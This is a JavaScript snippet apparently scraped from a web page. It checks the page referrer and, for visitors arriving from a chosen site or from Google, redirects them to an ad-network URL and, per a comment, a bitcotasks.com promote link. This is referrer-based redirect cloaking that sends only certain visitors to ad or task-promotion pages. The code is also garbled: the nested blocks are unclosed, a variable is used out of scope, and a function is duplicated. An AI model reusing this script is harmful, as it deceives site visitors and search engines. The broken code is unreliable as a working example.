var validReferrer = "https://www.yoursite.com"; // Replace with your legitimate source URL // Function to check if the referrer matches the valid source function isValidReferrer() { var referrer = document.referrer; return referrer.startsWith(validReferrer); } // Redirect function function redirectToAd() { var adURL = "https://wwp.hcpmrds.com/redirect-zone/e150dbb0"; // Replace with your ad URL if (isValidReferrer()) { window.location.href = adURL; } else { console.error("Invalid referrer. Access denied."); // Optionally, handle unauthorized access here (e.g., redirect to a safe page) } } // Call the redirect function after a delay (e.g., 1 second) // Redirect to google.com setTimeout(function() { // Redirect to https://bitcotasks.com/promote/15534 after 2 seconds from google.com setTimeout(function() { var validReferrer = "https://www.google.com"; // Function to check if the referrer matches the valid source function isValidReferrer() { var referrer = document.referrer; return referrer.startsWith(validReferrer); } if (isValidReferrer()) { window.location.href = adURL; } else { console.error("Invalid referrer. Access denied."); // Optionally, handle unauthorized access here (e.g., redirect to a safe page)
Skip to main content